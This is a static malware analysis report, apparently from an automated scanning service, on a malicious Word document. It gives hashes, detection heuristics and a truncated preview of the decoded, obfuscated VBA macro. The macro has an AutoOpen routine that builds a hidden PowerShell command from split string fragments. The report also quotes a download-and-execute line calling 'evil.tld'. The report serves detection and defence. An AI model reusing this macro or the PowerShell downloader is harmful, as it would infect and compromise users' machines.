Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4badcea44add4a53…

MALICIOUS

Office (OLE)

96.0 KB Created: 2018-08-16 08:39:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 292113ffd6d4122b66376737146149bc SHA-1: 05f6ba69f9c21767a60135de7d39656220220aae SHA-256: 4badcea44add4a532c149db05c93896e63ca13b4ae53af08e4e69e0aaaad7aa6
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to construct and execute a PowerShell command, likely to download and run a second-stage payload. The specific PowerShell command constructed is 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://evil.tld/payload\')"', indicating a downloader functionality.

Heuristics 5

  • ClamAV: Doc.Malware.Valyria-6691553-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6691553-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14461 bytes
SHA-256: 0284a7a5d0d15e727f15c317892676532744a30ba8016dec3ee888fa555c5b08
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EAuokdbCuU"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
   Hour 8845
   Error Month(TtJjZu / PuLwJC + EWMYRq - jRWIDG)
   Hour 87
   Hour Second(57005 + bOzJf)
   Hour 1391
VBA.Shell% KeyString(Hwkziaat + TtwUQsAVFRbGb + vbKeyC + cnYVnWIBCrNR + vmfbCOpUBr) + GCbhBUf + nCXCQLs + kGwUhr + czLFjs + QZfIuLETav + pHkOs + fjmoHjwQH + pfdqoL + hzrpiZrwXku + tIoMVGXs + EwQhpUnL + HPJzUETJcK + HlhKhQFZVqslWQ + HYlDwaXnjrGt, 517825169 - 517825169
   Hour 117
   Error VvpTwB
End Sub


Attribute VB_Name = "AFSYnKpsjA"
Function kGwUhr()
On Error Resume Next
Error 299146586
   Hour 8
   Hour CDate(fdZZsW)
nhcTzlzwF = "m" + "D" + "  " + "  " + "  /" + "v: " + "   "
Error Str(62576 / PZZqz)
   Hour 486017147
JoXDFPiS = "   " + " " + " " + "   " + "/c"
Hour 8
   Error 860
   Error CDbl(FaQmXm - tGiuzp * 32236 - KZHPIH)
fCwQuYz = "   " + "  " + "  " + CStr(Chr(CNjCKOvHUbk + DPNAbhYNrtKFvV + 34 + mCcVXOG + YJnmMoBh)) + "   " + "   " + "Set" + "   "
Hour mUPrC
   Hour Sgn(322)
   Error lkkaH
rLfDwKTJiRr = "~" + " " + " " + "=p" + "owe" + "r;" + "he" + "ll6" + "1e" + "6J_" + "BN"
Error trhawz
   Error LCase(63)
IwimSjvOwLz = "_" + "HQ" + "_Wg" + "_" + "?_" + "G" + "4_Z" + "Q" + "B3_" + "C0_" + "9wB" + "i_"
Hour wnmVIP
   Error Second(612 - wIjWj + VdHuh - cwdEu)
   Hour CBool(BXoGmu)
DaFPldS = "G" + "o_Z" + "QB" + "j" + "_H" + "Q" + "_"
Hour Log(39430 * 29028 / LjEUp + jnZYK)
   Error Val(jhUbCm)
HEKIkZipoBI = "I_" + "BO" + "_" + "GU_" + "d__" + "u_F" + "s" + "_Z" + "QB" + "i"
Hour DNLnXH
   Hour CVar(2)
SzwdOU = "_E" + "M" + "_9" + "_" + "Bp_" + "G" + "U" + "_9" + "gB0" + "_" + "D;" + "_J_" + "Bi_"
Hour Sqr(8693)
   Hour CDate(zZaGCq)
zGELcE = "EE_" + "dw_" + "?_" + "Cs" + "_a_" + "B0"
Error Month(nCVipE - wZzjr)
   Hour Round(SIrSz / 2056)
EifOZmdWh = "_" + "HQ" + "_s_" + "_\" + "_" + "C" + "8_L" + "wBx" + "_H" + "U_Y" + "Q"
kGwUhr = nhcTzlzwF + JoXDFPiS + fCwQuYz + rLfDwKTJiRr + IwimSjvOwLz + DaFPldS + HEKIkZipoBI + SzwdOU + zGELcE + EifOZmdWh
   Error LCase(PXPtd)
   Error 84
   Error Str(3)
End Function
Function czLFjs()
On Error Resume Next
Hour CDate(VzSLu)
   Hour CDate(9063)
   Hour Month(92)
OXsavKBjOC = "Br" + "_G" + "U" + "_" + "sg" + "Bz_" + "GU" + "_s" + "gB" + "2_G" + "]_"
Hour Log(WUSkVF * QoczH - 50696 + cvhHw)
   Hour Sin(flutkM)
   Hour RURTH
dtOhEaLz = "Yw" + "Bl_" + "C" + "4_" + "9g" + "Bl_" + "H" + "Q" + "_L" + "wB" + "L"
Hour 7
   Hour 9265
   Hour Sqr(YXjSwY + OWSjw)
EJnBXSfTFpQ = "_" + "E" + "w_" + "sg" + "Bn_" + "E" + "__a" + "_B0" + "_" + "HQ" + "_s" + "__"
Error Val(bEzBQO)
   Error 53
SOkzI = "\_C" + "8_L" + "wB" + "3_" + "Hs" + "_" + "dw_" + "u_H" + "M" + "_9w"
Hour Oct(iEXNO)
   Error Hex(DjYLmV / BFkPDj)
diMRKsLT = "Bw_" + "G" + "g" + "_" + "sg" + "Bv_" + "C0_" + "eg" + "Bh" + "_"
Hour Log(wlhvDN)
   Error OjtqLq
tVlWAJvXR = "HI_" + "Y" + "Q_" + "u_G" + "M_9" + "wBt" + "_C8" + "_" + "sQ" + "BN" + "_D]" + "_9g"
Error 500592860
   Hour Second(zLdIN - wTNbc)
   Error dwdcp
LcclLa = "B)_" + "E4" + "_" + "swB" + "5_E" + "__" + "a_B" + "0_H" + "Q_" + "s_" + "_\_" + "C" + "8_"
Hour 64
   Error Oct(41)
   Error Cos(4)
chjFpF = "Lw" + "Bi" + "_G" + "]_Z" + "w"
Error Hex(FbGqOb / CZbSN - wwrDC - qAcuWz)
   Error HzIwCz
   Hour Int(63353 - OTnXE)
mzswsk = "B" + "0_H" + "Y" + "_" + "ag" + "Bv"
Hour 659
   Hour Hex(3327)
   Error Log(AHfhu + nthvch)
oNHEYwVAp = "_" + "GI" + "_9" + "_B" + "p" + "_HM" + "_d" + "__u" + "_" + "G"
Hour 9
   Hour CDate(GnvInM)
   Error Round(506261560)
soocRoERLDn = "M" + "_9w" + "B" + "t_C" + "8_d" + "QB" + "U_" + "GM" + "_aQ" + "B"
Hour FdsozY
   Error 3
   Hour CDate(IAqTjA)
hUPksE = "r_" + "E" + "__" + "a_" + "B0" + "_H" + "Q_" + "s_" + "_\" + "_C8" + "_L"
Hour Log(QzILY / iEsTT)
   Error Sqr(122)
   Error CDbl(8188)
VAXIkk = "wB" 
... (truncated)

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